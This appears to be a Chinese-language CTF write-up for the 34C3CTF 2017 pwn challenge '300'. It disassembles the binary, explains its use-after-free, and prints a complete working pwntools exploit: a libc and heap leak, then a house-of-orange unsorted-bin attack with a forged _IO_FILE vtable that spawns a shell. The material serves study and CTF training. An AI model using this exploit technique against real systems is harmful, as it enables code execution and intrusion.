mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
583 lines
23 KiB
Markdown
583 lines
23 KiB
Markdown
# 6.1.26 pwn 34C3CTF2017 300
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [漏洞利用](#漏洞利用)
|
||
- [参考资料](#参考资料)
|
||
|
||
[下载文件](../src/writeup/6.1.26_pwn_34c3ctf2017_300)
|
||
|
||
## 题目复现
|
||
|
||
```text
|
||
$ file 300
|
||
300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped
|
||
$ checksec -f 300
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 300
|
||
$ strings libc-2.24.so | grep "GNU C"
|
||
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
|
||
Compiled by GNU CC version 6.3.0 20170406.
|
||
```
|
||
|
||
64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。
|
||
|
||
在 Ubuntu16.10 上玩一下:
|
||
|
||
```text
|
||
) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
1 <-- alloc 1
|
||
slot? (0-9)
|
||
1
|
||
1) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
2
|
||
slot? (0-9)
|
||
1 <-- write 1
|
||
AAAAAAAAAAAAAAAA
|
||
1) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
4 <-- free 1
|
||
slot? (0-9)
|
||
1
|
||
1) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
2 <-- write 1
|
||
slot? (0-9)
|
||
1
|
||
BBBBBBBB
|
||
1) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
3 <-- print 1
|
||
slot? (0-9)
|
||
1
|
||
BBBBBBBB
|
||
AAAAAAA
|
||
|
||
1) alloc
|
||
2) write
|
||
3) print
|
||
4) free
|
||
3 <-- print 2
|
||
slot? (0-9)
|
||
2
|
||
Segmentation fault (core dumped)
|
||
```
|
||
|
||
很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 `\x00` 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。
|
||
|
||
## 题目解析
|
||
|
||
### main
|
||
|
||
```text
|
||
[0x00000790]> pdf @ main
|
||
/ (fcn) main 180
|
||
| main ();
|
||
| ; var int local_20h @ rbp-0x20
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; DATA XREF from 0x000007ad (entry0)
|
||
| 0x00000a91 push rbp
|
||
| 0x00000a92 mov rbp, rsp
|
||
| 0x00000a95 sub rsp, 0x20
|
||
| 0x00000a99 mov dword [local_14h], edi
|
||
| 0x00000a9c mov qword [local_20h], rsi
|
||
| ; CODE XREF from 0x00000b40 (main)
|
||
| .-> 0x00000aa0 mov eax, 0
|
||
| : 0x00000aa5 call sym.menu
|
||
| : 0x00000aaa mov eax, 0
|
||
| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||
| : 0x00000ab4 mov dword [local_8h], eax
|
||
| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
|
||
| : 0x00000abe call sym.myputs
|
||
| : 0x00000ac3 mov eax, 0
|
||
| : 0x00000ac8 call sym.read_int ; 读入 slot
|
||
| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
|
||
| : 0x00000ad0 cmp dword [local_4h], 0
|
||
| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
|
||
| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
|
||
| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
|
||
| ||: ; CODE XREF from 0x00000ad4 (main)
|
||
| |`--> 0x00000adc mov edi, 0
|
||
| | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
|
||
| | : ; CODE XREF from 0x00000ada (main)
|
||
| `---> 0x00000ae6 mov eax, dword [local_8h]
|
||
| : 0x00000ae9 cmp eax, 2
|
||
| ,==< 0x00000aec je 0xb12 ; write
|
||
| |: 0x00000aee cmp eax, 2
|
||
| ,===< 0x00000af1 jg 0xafa
|
||
| ||: 0x00000af3 cmp eax, 1
|
||
| ,====< 0x00000af6 je 0xb06 ; alloc
|
||
| ,=====< 0x00000af8 jmp 0xb36
|
||
| ||||: ; CODE XREF from 0x00000af1 (main)
|
||
| ||`---> 0x00000afa cmp eax, 3
|
||
| ||,===< 0x00000afd je 0xb1e ; print
|
||
| ||||: 0x00000aff cmp eax, 4
|
||
| ,======< 0x00000b02 je 0xb2a ; free
|
||
| ,=======< 0x00000b04 jmp 0xb36
|
||
| ||||||: ; CODE XREF from 0x00000af6 (main)
|
||
| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
|
||
| ||| ||: 0x00000b09 mov edi, eax
|
||
| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
|
||
| |||,====< 0x00000b10 jmp 0xb40
|
||
| ||||||: ; CODE XREF from 0x00000aec (main)
|
||
| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
|
||
| ||||| : 0x00000b15 mov edi, eax
|
||
| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
|
||
| |||||,==< 0x00000b1c jmp 0xb40
|
||
| ||||||: ; CODE XREF from 0x00000afd (main)
|
||
| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
|
||
| |||| |: 0x00000b21 mov edi, eax
|
||
| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
|
||
| ||||,===< 0x00000b28 jmp 0xb40
|
||
| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
|
||
| | ||||: 0x00000b2d mov edi, eax
|
||
| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
|
||
| |,======< 0x00000b34 jmp 0xb40
|
||
| ||||||: ; CODE XREF from 0x00000b04 (main)
|
||
| ||||||: ; CODE XREF from 0x00000b03 (main)
|
||
| ||||||: ; CODE XREF from 0x00000af8 (main)
|
||
| `-`-----> 0x00000b36 mov edi, 0
|
||
| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
|
||
| | |||| ; CODE XREF from 0x00000b28 (main)
|
||
| | |||| ; CODE XREF from 0x00000b34 (main)
|
||
| | |||| ; CODE XREF from 0x00000b1c (main)
|
||
| | |||| ; CODE XREF from 0x00000b10 (main)
|
||
\ `-````=< 0x00000b40 jmp 0xaa0
|
||
```
|
||
|
||
从 main 函数中我们知道,程序的所有操作都是基于 slot。
|
||
|
||
### alloc
|
||
|
||
```text
|
||
[0x00000790]> pdf @ sym.alloc_it
|
||
/ (fcn) sym.alloc_it 51
|
||
| sym.alloc_it ();
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; CALL XREF from 0x00000b0b (main)
|
||
| 0x000009ca push rbp
|
||
| 0x000009cb mov rbp, rsp
|
||
| 0x000009ce sub rsp, 0x10
|
||
| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||
| 0x000009d5 mov edi, 0x300
|
||
| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
|
||
| 0x000009df mov rcx, rax
|
||
| 0x000009e2 mov eax, dword [local_4h]
|
||
| 0x000009e5 cdqe
|
||
| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
|
||
| 0x000009ef lea rax, obj.allocs ; 0x202040
|
||
| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
|
||
| 0x000009fa nop
|
||
| 0x000009fb leave
|
||
\ 0x000009fc ret
|
||
[0x00000790]> px 0x8*10 @ obj.allocs
|
||
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
|
||
0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||
0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||
0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||
0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||
0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||
```
|
||
|
||
该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 `0x202040` 开始的数组 allocs 中。
|
||
|
||
### write
|
||
|
||
```text
|
||
[0x00000790]> pdf @ sym.write_it
|
||
/ (fcn) sym.write_it 56
|
||
| sym.write_it ();
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; CALL XREF from 0x00000b17 (main)
|
||
| 0x000009fd push rbp
|
||
| 0x000009fe mov rbp, rsp
|
||
| 0x00000a01 sub rsp, 0x10
|
||
| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||
| 0x00000a08 mov eax, dword [local_4h]
|
||
| 0x00000a0b cdqe
|
||
| 0x00000a0d lea rdx, [rax*8]
|
||
| 0x00000a15 lea rax, obj.allocs ; 0x202040
|
||
| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||
| 0x00000a20 mov edx, 0x300
|
||
| 0x00000a25 mov rsi, rax
|
||
| 0x00000a28 mov edi, 0
|
||
| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
|
||
| 0x00000a32 nop
|
||
| 0x00000a33 leave
|
||
\ 0x00000a34 ret
|
||
```
|
||
|
||
该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 `\x00`,可能导致信息泄露。
|
||
|
||
### print
|
||
|
||
```text
|
||
[0x00000790]> pdf @ sym.print_it
|
||
/ (fcn) sym.print_it 46
|
||
| sym.print_it ();
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; CALL XREF from 0x00000b23 (main)
|
||
| 0x00000a35 push rbp
|
||
| 0x00000a36 mov rbp, rsp
|
||
| 0x00000a39 sub rsp, 0x10
|
||
| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||
| 0x00000a40 mov eax, dword [local_4h]
|
||
| 0x00000a43 cdqe
|
||
| 0x00000a45 lea rdx, [rax*8]
|
||
| 0x00000a4d lea rax, obj.allocs ; 0x202040
|
||
| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||
| 0x00000a58 mov rdi, rax
|
||
| 0x00000a5b call sym.myputs ; 打印
|
||
| 0x00000a60 nop
|
||
| 0x00000a61 leave
|
||
\ 0x00000a62 ret
|
||
```
|
||
|
||
该函数用于打印 slot 对应空间中的字符串。
|
||
|
||
### free
|
||
|
||
```text
|
||
[0x00000790]> pdf @ sym.free_it
|
||
/ (fcn) sym.free_it 46
|
||
| sym.free_it ();
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; CALL XREF from 0x00000b2f (main)
|
||
| 0x00000a63 push rbp
|
||
| 0x00000a64 mov rbp, rsp
|
||
| 0x00000a67 sub rsp, 0x10
|
||
| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||
| 0x00000a6e mov eax, dword [local_4h]
|
||
| 0x00000a71 cdqe
|
||
| 0x00000a73 lea rdx, [rax*8]
|
||
| 0x00000a7b lea rax, obj.allocs ; 0x202040
|
||
| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||
| 0x00000a86 mov rdi, rax
|
||
| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
|
||
| 0x00000a8e nop
|
||
| 0x00000a8f leave
|
||
\ 0x00000a90 ret
|
||
```
|
||
|
||
该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。
|
||
|
||
## 漏洞利用
|
||
|
||
从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。
|
||
|
||
### leak
|
||
|
||
```python
|
||
def leak():
|
||
global libc_base
|
||
global heap_addr
|
||
|
||
alloc(0)
|
||
alloc(1)
|
||
alloc(2)
|
||
alloc(3)
|
||
alloc(4)
|
||
|
||
free(1)
|
||
free(3)
|
||
|
||
printt(1)
|
||
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
|
||
printt(3)
|
||
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
|
||
|
||
log.info("libc_base address: 0x%x" % libc_base)
|
||
log.info("heap address: 0x%x" % heap_addr)
|
||
```
|
||
|
||
首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 `\x00` 截断(heap 基地址的低位 `0x00`)。然后释放掉 1 和 3 即可。
|
||
|
||
```text
|
||
gef➤ x/10gx &allocs
|
||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
|
||
0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
|
||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/6gx 0x0000555555757320-0x10
|
||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
|
||
0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
|
||
0x555555757330: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/6gx 0x0000555555757940-0x10
|
||
0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
|
||
0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
|
||
0x555555757950: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
### house of orange
|
||
|
||
```python
|
||
def house_of_orange():
|
||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||
io_wstr_finish = libc_base + 0x3bdc90
|
||
|
||
fake_chunk = heap_addr + 0x310 * 4 + 0x20
|
||
fake_chunk_bk = heap_addr + 0x310 * 3
|
||
|
||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
|
||
|
||
stream = p64(0) + p64(0x61) # fake header # fp
|
||
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
|
||
stream += p64(0) # fp->_IO_write_base
|
||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
|
||
stream = stream.ljust(0x74, '\x00')
|
||
stream += p64(0) # fp->_flags2
|
||
stream = stream.ljust(0xa0, '\x00')
|
||
stream += p64(fake_chunk) # fp->_wide_data
|
||
stream = stream.ljust(0xc0, '\x00')
|
||
stream += p64(0) # fp->_mode
|
||
|
||
payload = "A" * 0x10
|
||
payload += stream
|
||
payload += p64(0) * 2
|
||
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
|
||
payload += p64(0)
|
||
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
|
||
|
||
write(4, payload)
|
||
|
||
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
|
||
write(1, payload)
|
||
|
||
alloc(5)
|
||
alloc(6) # put fake chunk in smallbins[5]
|
||
|
||
free(5) # put a chunk in unsorted bin
|
||
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
|
||
alloc(5) # unsorted bin attack
|
||
```
|
||
|
||
这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:
|
||
|
||
```text
|
||
gef➤ x/10gx &allocs
|
||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
|
||
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
|
||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/6gx 0x0000555555757320-0x10
|
||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
|
||
0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
|
||
0x555555757330: 0x000000000000000a 0x0000000000000000
|
||
gef➤ x/34gx 0x0000555555757c50-0x10
|
||
0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
|
||
0x555555757c50: 0x4141414141414141 0x4141414141414141
|
||
0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
|
||
0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
|
||
0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
|
||
0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
|
||
0x555555757ca0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757cb0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757cc0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757cd0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757ce0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757cf0: 0x0000000000000000 0x0000000000000000
|
||
0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
|
||
0x555555757d10: 0x0000000000000000 0x0000000000000000
|
||
0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
|
||
0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
|
||
0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
|
||
gef➤ x/12gx 0x7ffff7dd1bb8-0x50
|
||
0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
|
||
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
|
||
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
|
||
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
|
||
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
|
||
```
|
||
|
||
对于 vtable 的利用,上一节我们使用了 `_IO_str_overflow` 函数,这次我们就用 `_IO_wstr_finish` 函数。具体怎么用请查看章节 4.13。
|
||
|
||
值得注意的是 `fp->_wide_data` 指向了 fake chunk,所以就相当于我们复用了这一块空间,`fp->_IO_write_end` 的地方也是就是 `fp->wide_data->buf_base`。
|
||
|
||
接下来利用 unsorted bin attack 修改 `_IO_list_all` 指向 `&unsorted_bin-0x10`,而偏移 0x60 的地方就是 `_IO_list_all->_chain`,即 smallbins[5],指向了 fake chunk。
|
||
|
||
```text
|
||
gef➤ x/10gx &allocs
|
||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
|
||
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
|
||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/6gx 0x0000555555757320-0x10
|
||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
|
||
0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
|
||
0x555555757330: 0x000000000000000a 0x0000000000000000
|
||
gef➤ x/4gx 0x00007ffff7dd24f0
|
||
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
|
||
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
|
||
gef➤ x/14gx 0x00007ffff7dd1b58
|
||
0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
|
||
0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
|
||
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
|
||
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
|
||
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
|
||
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
|
||
```
|
||
|
||
### pwn
|
||
|
||
```python
|
||
def pwn():
|
||
alloc(5) # abort routine
|
||
io.interactive()
|
||
```
|
||
|
||
最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`,获得 shell。
|
||
|
||
开启 ASLR,Bingo!!!
|
||
|
||
```text
|
||
$ python exp.py
|
||
[+] Starting local process './300': pid 5158
|
||
[*] libc_base address: 0x7efdcef24000
|
||
[*] heap address: 0x5624a7a3c000
|
||
[*] _IO_list_all address: 0x7efdcf2e6500
|
||
[*] system address: 0x7efdcef696a0
|
||
[*] /bin/sh address: 0x7efdcf0aec40
|
||
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
|
||
[*] Switching to interactive mode
|
||
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
|
||
======= Backtrace: =========
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
### exploit
|
||
|
||
完整的 exp 如下:
|
||
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
#context.log_level = 'debug'
|
||
|
||
io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||
libc = ELF('libc-2.24.so')
|
||
|
||
def alloc(idx):
|
||
io.sendlineafter("free\n", '1')
|
||
io.sendlineafter("(0-9)\n", str(idx))
|
||
|
||
def write(idx, data):
|
||
io.sendlineafter("free\n", '2')
|
||
io.sendlineafter("(0-9)\n", str(idx))
|
||
io.sendline(data)
|
||
|
||
def printt(idx):
|
||
io.sendlineafter("free\n", '3')
|
||
io.sendlineafter("(0-9)\n", str(idx))
|
||
|
||
def free(idx):
|
||
io.sendlineafter("free\n", '4')
|
||
io.sendlineafter("(0-9)\n", str(idx))
|
||
|
||
def leak():
|
||
global libc_base
|
||
global heap_addr
|
||
|
||
alloc(0)
|
||
alloc(1)
|
||
alloc(2)
|
||
alloc(3)
|
||
alloc(4)
|
||
|
||
free(1)
|
||
free(3)
|
||
|
||
printt(1)
|
||
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
|
||
printt(3)
|
||
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
|
||
|
||
log.info("libc_base address: 0x%x" % libc_base)
|
||
log.info("heap address: 0x%x" % heap_addr)
|
||
|
||
def house_of_orange():
|
||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||
io_wstr_finish = libc_base + 0x3bdc90
|
||
|
||
fake_chunk = heap_addr + 0x310 * 4 + 0x20
|
||
fake_chunk_bk = heap_addr + 0x310 * 3
|
||
|
||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
|
||
|
||
stream = p64(0) + p64(0x61) # fake header # fp
|
||
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
|
||
stream += p64(0) # fp->_IO_write_base
|
||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
|
||
stream = stream.ljust(0x74, '\x00')
|
||
stream += p64(0) # fp->_flags2
|
||
stream = stream.ljust(0xa0, '\x00')
|
||
stream += p64(fake_chunk) # fp->_wide_data
|
||
stream = stream.ljust(0xc0, '\x00')
|
||
stream += p64(0) # fp->_mode
|
||
|
||
payload = "A" * 0x10
|
||
payload += stream
|
||
payload += p64(0) * 2
|
||
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
|
||
payload += p64(0)
|
||
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
|
||
|
||
write(4, payload)
|
||
|
||
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
|
||
write(1, payload)
|
||
|
||
alloc(5)
|
||
alloc(6) # put fake chunk in smallbins[5]
|
||
|
||
free(5) # put a chunk in unsorted bin
|
||
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
|
||
alloc(5) # unsorted bin attack
|
||
|
||
def pwn():
|
||
alloc(5) # abort routine
|
||
io.interactive()
|
||
|
||
if __name__ == '__main__':
|
||
leak()
|
||
house_of_orange()
|
||
pwn()
|
||
```
|
||
|
||
## 参考资料
|
||
|
||
- <https://ctftime.org/task/5172>
|